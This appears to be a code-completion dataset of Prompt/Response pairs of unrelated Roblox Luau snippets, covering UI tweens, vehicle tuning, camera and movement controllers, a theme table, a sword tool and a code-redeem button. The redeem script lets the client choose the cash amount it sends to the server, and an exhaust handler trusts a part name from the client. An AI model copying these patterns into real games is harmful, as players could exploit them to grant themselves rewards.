	if part.Parent.Name == game.Players.LocalPlayer.Name then

		if not hit then
			hit = true
			part.Parent.Humanoid.WalkSpeed = 0
			script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 0, 0, 0), "Out", "Quint", 1)
			script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, 0, 0, 0), "Out", "Quint", 1)
			wait(0.7)
			StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
			spawn(function()
				wait(.3)
				Frame.Visible = true
			end)
			wait(1.5)
			script.Parent.ImageLabel:TweenPosition(UDim2.new(0.5, 1000, 0, 0), "In", "Quint", 1)
			script.Parent.ImageLabel2:TweenPosition(UDim2.new(0, -1000, 0, 0), "In", "Quint", 1)
			spawn(function()
				wait(.2)
				Tada:Play()
			end)
			wait(1)
			script.Parent.ImageLabel.Visible = false
			script.Parent.ImageLabel2.Visible = false
		end
	end
end)


Prompt: --	first reset scrollingFrame to zero position

Response:
	scrollingFrame.CanvasPosition = Vector2.new(0, 0)
	local width = scrollingFrame.AbsoluteSize.X
	local height = scrollingFrame.AbsoluteSize.Y

	local isBottom = false
	local instance
	local threshold = 2
	while not isBottom do
		wait(0.1)
		--if find the element then return
		instance = absPath:getFirstInstance()
		if instance then return instance end
		--scroll
		local oldPosition = scrollingFrame.CanvasPosition
		scrollingFrame.CanvasPosition = scrollingFrame.CanvasPosition +
			Vector2.new(math.min(width, 300), math.min(height, 300))
		--wait for content to refresh
		local delta = scrollingFrame.CanvasPosition - oldPosition
		isBottom = delta.Magnitude < threshold
		--if it is the bottom, then return not found
	end
	return nil
end

function Element:centralizeWithInfiniteScrolling()
	local instances, lastSeenIndex = self.path:getInstances()
	if #instances > 0 then self:centralizeInstance() end

	local lastSeenPath = self.path:copy()
	while #lastSeenPath.data > lastSeenIndex do
		table.remove(lastSeenPath.data)
	end

	local lastSeenInstance = lastSeenPath:getFirstInstance()
	local lastScrollingFrame = nil
	while true do
		if lastSeenInstance.ClassName == "ScrollingFrame" then
			lastScrollingFrame = lastSeenInstance
			break
		end
		lastSeenInstance = lastSeenInstance.Parent
		if lastSeenInstance == game then break end
	end
	if lastScrollingFrame == nil then return end
	if self:_scrollToFindInstance(lastScrollingFrame, self.path) == nil then return end
	self:_centralizeInScrollingFrame(self:getRbxInstance())
end

function Element:setPluginWindow()
	local window = self.rbxInstance:FindFirstAncestorOfClass("DockWidgetPluginGui")
	VirtualInput.setCurrentWindow(window)
end

function Element:click(repeatCount)
	self:centralize()
	self:setPluginWindow()

	repeatCount = repeatCount or 1
	VirtualInput.Mouse.multiClick(self:getAnchor(), repeatCount)
end

function Element:rightClick()
	self:centralize()
	self:setPluginWindow()

	VirtualInput.Mouse.rightClick(self:getAnchor())
end

function Element:mouseWheel(num)
	self:centralize()
	VirtualInput.Mouse.mouseWheel(self:getAnchor(), num)
end

function Element:mouseDrag(xOffset, yOffset, duration)
	self:centralize()
	local posTo = self:getAnchor() + Vector2.new(xOffset, yOffset)
	VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true)
end

function Element:mouseDragTo(posTo, duration)
	self:centralize()
	VirtualInput.Mouse.mouseDrag(self:getAnchor(), posTo, duration, true)
end

function Element:sendKey(key)
	self:setPluginWindow()
	VirtualInput.Keyboard.hitKey(key)
end

function Element:sendText(str)
	self:click()
	wait(0)
	VirtualInput.Text.sendText(str)
end

function Element:tap()
	self:centralize()
	VirtualInput.Touch.tap(self:getAnchor())
end

function Element:touchScroll(xOffset, yOffset, duration, multitouchId)
	self:centralize()
	VirtualInput.Touch.touchScroll(self:getAnchor(), xOffset, yOffset, duration, true, multitouchId)
end

return Element


Prompt: --this script has been optimized by oozlebachr's optimizer !!!!


Prompt: --Serverside logic

Response:
Event.OnServerEvent:Connect(function(player,ExhaustParticle,FireBool)

	print("ExhaustParticle")

	if FireBool then

		local RanNum = tostring(math.random(1,3))
		ExhaustPart["Backfire"..RanNum]:Play()
        ExhaustPart2["Backfire"..RanNum]:Play()
		ExhaustPart.PointLight.Enabled = true
        ExhaustPart2.PointLight.Enabled = true
		ExhaustPart[ExhaustParticle].Enabled = true
        ExhaustPart2[ExhaustParticle].Enabled = true

		if ExhaustParticle == "FlamesSmall" then

			ExhaustPart.PointLight.Range = 6
            ExhaustPart2.PointLight.Range = 6
			ExhaustPart.PointLight.Brightness = 5
            ExhaustPart2.PointLight.Brightness = 5
			ExhaustPart.Sparks.Enabled = false
            ExhaustPart2.Sparks.Enabled = false

		else

			ExhaustPart.PointLight.Range = 8
            ExhaustPart2.PointLight.Range = 8
			ExhaustPart.PointLight.Brightness = 12
            ExhaustPart2.PointLight.Brightness = 12
			ExhaustPart.Sparks.Enabled = true
            ExhaustPart2.Sparks.Enabled = true

		end

	else

		ExhaustPart[ExhaustParticle].Enabled = false
        ExhaustPart2[ExhaustParticle].Enabled = false
		ExhaustPart.PointLight.Enabled = false
        ExhaustPart2.PointLight.Enabled = false

	end

end)


Prompt: --[[ Local Functions ]]

Response:
--
function MouseLockController:OnMouseLockToggled()
	self.isMouseLocked = not self.isMouseLocked

	if self.isMouseLocked then
		local cursorImageValueObj: StringValue? = script:FindFirstChild("CursorImage") :: StringValue?
		if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
			CameraUtils.setMouseIconOverride(cursorImageValueObj.Value)
		else
			if cursorImageValueObj then
				cursorImageValueObj:Destroy()
			end
			cursorImageValueObj = Instance.new("StringValue")
			assert(cursorImageValueObj, "")
			cursorImageValueObj.Name = "CursorImage"
			cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
			cursorImageValueObj.Parent = script
			CameraUtils.setMouseIconOverride(DEFAULT_MOUSE_LOCK_CURSOR)
		end
	else
		CameraUtils.restoreMouseIcon()
	end

	self.mouseLockToggledEvent:Fire()
end

function MouseLockController:DoMouseLockSwitch(name, state, input)
	if state == Enum.UserInputState.Begin then
		self:OnMouseLockToggled()
		return Enum.ContextActionResult.Sink
	end
	return Enum.ContextActionResult.Pass
end

function MouseLockController:BindContextActions()
	ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
		return self:DoMouseLockSwitch(name, state, input)
	end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end

function MouseLockController:UnbindContextActions()
	ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end

function MouseLockController:IsMouseLocked(): boolean
	return self.enabled and self.isMouseLocked
end

function MouseLockController:EnableMouseLock(enable: boolean)
	if enable ~= self.enabled then

		self.enabled = enable

		if self.enabled then
			-- Enabling the mode
			self:BindContextActions()
		else
			-- Disabling
			-- Restore mouse cursor
			CameraUtils.restoreMouseIcon()

			self:UnbindContextActions()

			-- If the mode is disabled while being used, fire the event to toggle it off
			if self.isMouseLocked then
				self.mouseLockToggledEvent:Fire()
			end

			self.isMouseLocked = false
		end

	end
end

return MouseLockController


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
		--[[ 7 ]]		0.49		,
		--[[ 8 ]]		0.40		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= false		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 1200		-- Front brake force
	Tune.RBrakeForce	= 1600		-- Rear brake force
	Tune.PBrakeForce	= 6000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt:
--
-- Top Hint
--
--  * This is a string of text that's top-centered in the window. (White text on black background)
--  * It should be used for messages from the client, and never from the place creator.
--
-- FEATURES:
--  * Auto-hides previous messages before showing yours.
--  * Always centered, regardless of length.
--  * Clicking the message hides it.
--
-- USE IT FOR:
--  * Quick task-related (non-essential) hints
--  * Showing the current modal state
--  * Tool hints (for the currently equipped tool)
--  * Keyboard shortcuts
--
-- NEVER USE IT FOR:
--  * Essential information (Use a popup instead)
--  * Messages from users or place creators.  This is for client messages only.
--
-- ARGUMENTS:
--  Label:  The message
--  Width:  Text and background width (pixels) -- This should be removed when textWidth is added to Lua
--  Time:   Seconds before hiding itself (If 0, it never hides)
--
-- USAGE:

Response:
local topHint = script.Parent.topHint  -- path to topHint ScreenGui
topHint.Add.Label.Value = "Press D to return to main menu."
topHint.Add.Width.Value = 290
topHint.Add.Time.Value = 7
topHint.Add.Disabled = true  -- flip it off then on, in case it's currently running.
topHint.Add.Disabled = false


Prompt:
--[[
This file is necessary for constructing the default Icon template
Do not remove this module otherwise TopbarPlus will break
Modifying this file may also cause TopbarPlus to break
It's recommended instead to create a separate theme module and use that instead

To apply your theme after creating it, do:
```lua
local IconController = require(pathway.to.IconController)
local Themes = require(pathway.to.Themes)
IconController.setGameTheme(Themes.YourThemeName)
```

or by applying to an individual icon:
```lua
local Icon = require(pathway.to.Icon)
local Themes = require(pathway.to.Themes)
local newIcon = Icon.new()
    :setTheme(Themes.YourThemeName)
```
--]]

Response:
return {

    -- Settings which describe how an item behaves or transitions between states
    action =  {
        toggleTransitionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        resizeInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        repositionInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        captionFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        tipFadeInfo = TweenInfo.new(0.1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        dropdownSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
        menuSlideInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
    },

    -- Settings which describe how an item appears when 'deselected' and 'selected'
    toggleable = {
        -- How items appear normally (i.e. when they're 'deselected')
        deselected = {
            iconBackgroundColor = Color3.fromRGB(32, 37, 45),
            iconBackgroundTransparency = 0.5,
            iconCornerRadius = UDim.new(0.25, 0),
			iconGradientColor = ColorSequence.new(Color3.fromRGB(208, 208, 208),Color3.fromRGB(255, 255, 255)),
            iconGradientRotation = 90,
            iconImage = "",
            iconImageColor =Color3.fromRGB(255, 255, 255),
            iconImageTransparency = 0,
            iconImageYScale = 0.63,
            iconImageRatio = 1,
            iconLabelYScale = 0.45,
            iconScale = UDim2.new(1, 0, 1, 0),
            forcedIconSize = UDim2.new(0, 32, 0, 32);
            iconSize = UDim2.new(0, 32, 0, 32),
            iconOffset = UDim2.new(0, 0, 0, 0),
            iconText = "",
            iconTextColor = Color3.fromRGB(255, 255, 255),
            iconFont = Enum.Font.GothamSemibold,
            noticeCircleColor = Color3.fromRGB(255, 255, 255),
            noticeCircleImage = "http://www.roblox.com/asset/?id=4871790969",
            noticeTextColor = Color3.fromRGB(31, 33, 35),
            baseZIndex = 1,
            order = 1,
            alignment = "left",
            clickSoundId = "rbxassetid://5273899897",
            clickVolume = 0,
            clickPlaybackSpeed = 1,
            clickTimePosition = 0.12
        },
        -- How items appear after the icon has been clicked (i.e. when they're 'selected')
        -- If a selected value is not specified, it will default to the deselected value
        selected = {
			iconBackgroundColor = Color3.fromRGB(52, 68, 99),
			iconBackgroundTransparency = 0.1,
			iconGradientRotation = 270,
            iconImageColor = Color3.fromRGB(57, 60, 65),
            iconTextColor = Color3.fromRGB(57, 60, 65),
            clickPlaybackSpeed = 1.5,
        }
    },

    -- Settings where toggleState doesn't matter (they have a singular state)
    other = {
        -- Caption settings
        captionBackgroundColor = Color3.fromRGB(0, 0, 0),
        captionBackgroundTransparency = 0.5,
        captionTextColor = Color3.fromRGB(255, 255, 255),
        captionTextTransparency = 0,
        captionFont = Enum.Font.Code,
        captionOverlineColor = Color3.fromRGB(0, 170, 255),
        captionOverlineTransparency = 0,
        captionCornerRadius = UDim.new(0.25, 0),
        -- Tip settings
        tipBackgroundColor = Color3.fromRGB(255, 255, 255),
        tipBackgroundTransparency = 0.1,
        tipTextColor = Color3.fromRGB(27, 42, 53),
        tipTextTransparency = 0,
        tipFont = Enum.Font.Code,
        tipCornerRadius = UDim.new(0.175, 0),
        -- Dropdown settings
        dropdownAlignment = "auto", -- 'left', 'mid', 'right' or 'auto' (auto is where the dropdown alignment matches the icons alignment)
        dropdownMaxIconsBeforeScroll = 3,
        dropdownMinWidth = 32,
        dropdownSquareCorners = false,
        dropdownBindToggleToIcon = true,
        dropdownToggleOnLongPress = false,
        dropdownToggleOnRightClick = false,
        dropdownCloseOnTapAway = false,
        dropdownHidePlayerlistOnOverlap = true,
        dropdownListPadding = UDim.new(0, 2),
        dropdownScrollBarColor = Color3.fromRGB(25, 25, 25),
        dropdownScrollBarTransparency = 0.2,
        dropdownScrollBarThickness = 4,
        -- Menu settings
        menuDirection = "auto", -- 'left', 'right' or 'auto' (for auto, if alignment is 'left' or 'mid', menuDirection will be 'right', else menuDirection is 'left')
        menuMaxIconsBeforeScroll = 4,
        menuBindToggleToIcon = true,
        menuToggleOnLongPress = false,
        menuToggleOnRightClick = false,
        menuCloseOnTapAway = false,
        menuScrollBarColor = Color3.fromRGB(25, 25, 25),
        menuScrollBarTransparency = 0.2,
        menuScrollBarThickness = 4,
    },

}


Prompt:
--Hello! I have known this script for a long time now, but never thought about making a script
-- from it.Hope you enjoy.--

Response:
pos = script.Parent.Position
pos = Vector3.new(pos.x, pos.y-0.2, pos.z)
x = 0
z = 0
T = -99999
tall = script.Parent.Size.Y / 2
math.randomseed(tick())
rand = (math.random(0,20))/10
while true do
	x = pos.x + (math.sin(T + (pos.x/5)) * math.sin(T/9))/3
	z = pos.z + (math.sin(T + (pos.z/6)) * math.sin(T/12))/4
	script.Parent.CFrame =
		CFrame.new(x, pos.y, z) * CFrame.Angles((z-pos.z)/tall, 0,(x-pos.x)/-tall)
	wait()
	T = T + 0.005
end


Prompt: -- print(PId)

Response:
local button = script.Parent -- обозначение к чему привязан наш скрипт
button.MouseButton1Down:Connect(function()
	-- print("PId:",PId)
	local player = players.LocalPlayer -- локальный игрок
	local a=MS:PromptProductPurchase(player,PId) -- выполнение запроса покупки
	-- print("Покупка:",a)
end)


Prompt: --Codes

Response:
local codelist = {
	code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
	code2 = "Release"
}

script.Parent.MouseButton1Click:Connect(function()
	if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
		if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
			if not codes:FindFirstChild("Code1") then -- This one here
				RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
				script.Parent.Text = "Code redeemed successfully!"
				script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
				wait(2)
				script.Parent.Text = "Redeem Code"
			else
				script.Parent.Text = "Code already redeemed!"
				wait(2)
				script.Parent.Text = "Redeem Code"
			end
		else
			script.Parent.Text = "Code expired!"
			wait(2)
			script.Parent.Text = "Redeem Code"
		end
	elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
		if not codes:FindFirstChild("Code2") then -- This one here
			RE:FireServer(25000, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
			script.Parent.Text = "Code redeemed successfully!"
			script.Parent.Parent.CodeHandler.Text = ""
			wait(2)
			script.Parent.Text = "Redeem Code"
		else
			script.Parent.Text = "Code already redeemed!"
			wait(2)
			script.Parent.Text = "Redeem Code"
		end
	else
		script.Parent.Text = "Code invalid!"
		script.Parent.Parent.CodeHandler.Text = ""
		wait(2)
		script.Parent.Text = "Redeem Code"
	end
end)


Prompt: --[[ The ClickToMove Controller Class ]]

Response:
--
local KeyboardController = require(script.Parent:WaitForChild("Keyboard"))
local ClickToMove = setmetatable({}, KeyboardController)
ClickToMove.__index = ClickToMove

function ClickToMove.new(CONTROL_ACTION_PRIORITY)
	local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove)

	self.fingerTouches = {}
	self.numUnsunkTouches = 0
	-- PC simulation
	self.mouse1Down = tick()
	self.mouse1DownPos = Vector2.new()
	self.mouse2DownTime = tick()
	self.mouse2DownPos = Vector2.new()
	self.mouse2UpTime = tick()

	self.tapConn = nil
	self.inputBeganConn = nil
	self.inputChangedConn = nil
	self.inputEndedConn = nil
	self.humanoidDiedConn = nil
	self.characterChildAddedConn = nil
	self.onCharacterAddedConn = nil
	self.characterChildRemovedConn = nil
	self.renderSteppedConn = nil
	self.humanoidSeatedConn = nil

	self.running = false

	self.wasdEnabled = false

	return self
end

function ClickToMove:DisconnectEvents()
	DisconnectEvent(self.tapConn)
	DisconnectEvent(self.inputBeganConn)
	DisconnectEvent(self.inputChangedConn)
	DisconnectEvent(self.inputEndedConn)
	DisconnectEvent(self.humanoidDiedConn)
	DisconnectEvent(self.characterChildAddedConn)
	DisconnectEvent(self.onCharacterAddedConn)
	DisconnectEvent(self.renderSteppedConn)
	DisconnectEvent(self.characterChildRemovedConn)

	-- TODO: Resolve with ControlScript handling of seating for vehicles
	DisconnectEvent(self.humanoidSeatedConn)

	RunService:UnbindFromRenderStep("ClickToMoveRenderUpdate")
end

function ClickToMove:OnTouchBegan(input, processed)
	if self.fingerTouches[input] == nil and not processed then
		self.numUnsunkTouches = self.numUnsunkTouches + 1
	end
	self.fingerTouches[input] = processed
end

function ClickToMove:OnTouchChanged(input, processed)
	if self.fingerTouches[input] == nil then
		self.fingerTouches[input] = processed
		if not processed then
			self.numUnsunkTouches = self.numUnsunkTouches + 1
		end
	end
end

function ClickToMove:OnTouchEnded(input, processed)
	if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then
		self.numUnsunkTouches = self.numUnsunkTouches - 1
	end
	self.fingerTouches[input] = nil
end

function ClickToMove:OnCharacterAdded(character)
	self:DisconnectEvents()

	self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
		if input.UserInputType == Enum.UserInputType.Touch then
			self:OnTouchBegan(input, processed)

			-- Give back controls when they tap both sticks
			local wasInBottomLeft = IsInBottomLeft(input.Position)
			local wasInBottomRight = IsInBottomRight(input.Position)
			if wasInBottomRight or wasInBottomLeft then
				for otherInput, _ in pairs(self.fingerTouches) do
					if otherInput ~= input then
						local otherInputInLeft = IsInBottomLeft(otherInput.Position)
						local otherInputInRight = IsInBottomRight(otherInput.Position)
						if otherInput.UserInputState ~= Enum.UserInputState.End and ((wasInBottomLeft and otherInputInRight) or (wasInBottomRight and otherInputInLeft)) then
							if BindableEvent_OnFailStateChanged then
								BindableEvent_OnFailStateChanged:Fire(true)
							end
							return
						end
					end
				end
			end
		end

		 -- Cancel path when you use the keyboard controls.
		if processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then
			CleanupPath()
		end
		if input.UserInputType == Enum.UserInputType.MouseButton1 then
			self.mouse1DownTime = tick()
			self.mouse1DownPos = input.Position
		end
		if input.UserInputType == Enum.UserInputType.MouseButton2 then
			self.mouse2DownTime = tick()
			self.mouse2DownPos = input.Position
		end
	end)

	self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
		if input.UserInputType == Enum.UserInputType.Touch then
			self:OnTouchChanged(input, processed)
		end
	end)

	self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
		if input.UserInputType == Enum.UserInputType.Touch then
			self:OnTouchEnded(input, processed)
		end

		if input.UserInputType == Enum.UserInputType.MouseButton2 then
			self.mouse2UpTime = tick()
			local currPos = input.Position
			if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and self.moveVector.Magnitude<=0 then
				local positions = {currPos}
				OnTap(positions)
			end
		end
	end)

	self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed)
		if not processed then
			OnTap(touchPositions)
		end
	end)

	local function computeThrottle(dist)
		if dist > .2 then
			return 0.5+(dist^2)/2
		else
			return 0
		end
	end

	local lastSteer = 0

	--kP = how much the steering corrects for the current error in driving angle
	--kD = how much the steering corrects for how quickly the error in driving angle is changing
	local kP = 1
	local kD = 0.5
	local function getThrottleAndSteer(object, point)
		local throttle, steer = 0, 0
		local oCF = object.CFrame

		local relativePosition = oCF:pointToObjectSpace(point)
		local relativeZDirection = -relativePosition.z
		local relativeDistance = relativePosition.magnitude

		-- throttle quadratically increases from 0-1 as distance from the selected point goes from 0-50, after 50, throttle is 1.
		-- this allows shorter distance travel to have more fine-tuned control.
		throttle = computeThrottle(math.min(1,relativeDistance/50))*math.sign(relativeZDirection)

		local steerAngle = -math.atan2(-relativePosition.x, -relativePosition.z)
		steer = steerAngle/(math.pi/4)

		local steerDelta = steer - lastSteer
		lastSteer = steer
		local pdSteer = kP * steer + kD * steer
		return throttle, pdSteer
	end

	local function Update()
		if CurrentSeatPart then
			if DrivingTo then
				local throttle, steer = getThrottleAndSteer(CurrentSeatPart, DrivingTo)
				CurrentSeatPart.ThrottleFloat = throttle
				CurrentSeatPart.SteerFloat = steer
			else
				CurrentSeatPart.ThrottleFloat = 0
				CurrentSeatPart.SteerFloat = 0
			end
		end

		local cameraPos = workspace.CurrentCamera.CFrame.p
		for i = 1, #activePopups do
			local popup = activePopups[i]
			popup.CFrame = CFrame.new(popup.CFrame.p, cameraPos)
		end
	end

	RunService:BindToRenderStep("ClickToMoveRenderUpdate",Enum.RenderPriority.Camera.Value - 1,Update)

	local function OnCharacterChildAdded(child)
		if UserInputService.TouchEnabled then
			if child:IsA('Tool') then
				child.ManualActivationOnly = true
			end
		end
		if child:IsA('Humanoid') then
			DisconnectEvent(self.humanoidDiedConn)
			self.humanoidDiedConn = child.Died:Connect(function()
				if ExistingIndicator then
					DebrisService:AddItem(ExistingIndicator.Model, 1)
				end
			end)
		end
	end

	self.characterChildAddedConn = character.ChildAdded:Connect(function(child)
		OnCharacterChildAdded(child)
	end)
	self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child)
		if UserInputService.TouchEnabled then
			if child:IsA('Tool') then
				child.ManualActivationOnly = false
			end
		end
	end)
	for _, child in pairs(character:GetChildren()) do
		OnCharacterChildAdded(child)
	end
end

function ClickToMove:Start()
	self:Enable(true)
end

function ClickToMove:Stop()
	self:Enable(false)
end

function ClickToMove:Enable(enable, enableWASD)
	if enable then
		if not self.running then
			if Player.Character then -- retro-listen
				self:OnCharacterAdded(Player.Character)
			end
			self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char)
				self:OnCharacterAdded(char)
			end)
			self.running = true
		end
	else
		if self.running then
			self:DisconnectEvents()
			CleanupPath()
			-- Restore tool activation on shutdown
			if UserInputService.TouchEnabled then
				local character = Player.Character
				if character then
					for _, child in pairs(character:GetChildren()) do
						if child:IsA('Tool') then
							child.ManualActivationOnly = false
						end
					end
				end
			end
			DrivingTo = nil
			self.running = false
		end
	end

	-- Extension for initializing Keyboard input as this class now derives from Keyboard
	if UserInputService.KeyboardEnabled and enable ~= self.enabled then

		self.forwardValue  = 0
		self.backwardValue = 0
		self.leftValue = 0
		self.rightValue = 0

		self.moveVector = ZERO_VECTOR3

		if enable then
			self:BindContextActions()
			self:ConnectFocusEventListeners()
		else
			self:UnbindContextActions()
			self:DisconnectFocusEventListeners()
		end
	end

	self.wasdEnabled = enable and enableWASD or false
	self.enabled = enable
end


Prompt: -- Roact

Response:
local new = Roact.createElement
local Tooltip = require(script.Parent:WaitForChild('Tooltip'))


Prompt: -------- OMG HAX

Response:
r = game:service("RunService")

local damage = 20

local slash_damage = 18
local lunge_damage = 36

sword = script.Parent.Handle
Tool = script.Parent

local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7

local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6

local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1

function DarkKill(character, humanoid, attacker)

	if (character:FindFirstChild("ForceField") ~= nil) then return end

	local childs = character:GetChildren()

	local colors = {}

	tagHumanoid(humanoid, attacker)
	humanoid.Health = 0

	for i=1,#childs do
		if (childs[i].className == "Part") then
			colors[i] = childs[i].BrickColor
			childs[i].BrickColor = BrickColor.new(26)
			childs[i].CanCollide = true
			childs[i].Anchored = true
		end
	end

	wait(.25)

	for i=1,#childs do
		if (childs[i].className == "Part") then
			local b = Instance.new("BodyVelocity")
			b.velocity = Vector3.new(math.random() - .5, 0, math.random() - .5).unit * 80
			b.maxForce = Vector3.new(1e5,1e5,1e5)
			b.Parent = childs[i]
		end
	end

	for i=1,#childs do
		if (childs[i].className == "Part") then
			childs[i].Anchored = false
		end
	end

end

function blow(hit)
	local humanoid = hit.Parent:findFirstChild("Humanoid")
	local vCharacter = Tool.Parent
	local vPlayer = game.Players:playerFromCharacter(vCharacter)
	local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
	if humanoid~=nil and humanoid ~= hum and hum ~= nil then
		-- final check, make sure sword is in-hand

		local right_arm = vCharacter:FindFirstChild("Right Arm")
		if (right_arm ~= nil) then
			local joint = right_arm:FindFirstChild("RightGrip")
			if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
				hum.Health = hum.Health + (damage * .4)
				if humanoid.Health > damage then
					tagHumanoid(humanoid, vPlayer)
					humanoid:TakeDamage(damage)
				else
					DarkKill(humanoid.Parent, humanoid, vPlayer)
				end
			end
		end

	end
end

function tagHumanoid(humanoid, player)
	local creator_tag = Instance.new("ObjectValue")
	creator_tag.Value = player
	creator_tag.Name = "creator"
	creator_tag.Parent = humanoid
	game.Debris:AddItem(creator_tag, 1)
end

function attack()
	damage = slash_damage
	SlashSound:play()
	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Slash"
	anim.Parent = Tool
end

function lunge()
	damage = lunge_damage

	LungeSound:play()

	local anim = Instance.new("StringValue")
	anim.Name = "toolanim"
	anim.Value = "Lunge"
	anim.Parent = Tool

	local force = Instance.new("BodyVelocity")
	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.25)
	swordOut()
	wait(.25)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	--wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt:
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------

Response:
	,VRecoil = {4,6}				--- Vertical Recoil
	,HRecoil = {6,9}				--- Horizontal Recoil
	,AimRecover = .85				---- Between 0 & 1

	,RecoilPunch = .15
	,VPunchBase = 3.25				--- Vertical Punch
	,HPunchBase = 2.5					--- Horizontal Punch
	,DPunchBase = 1 				--- Tilt Punch | useless

	,AimRecoilReduction = 5 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0.2
	,MinRecoilPower = .5
	,MaxRecoilPower = 3
	,RecoilPowerStepAmount = .25

	,MinSpread = 7					--- Min bullet spread value | Studs
	,MaxSpread = 40					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 1.5
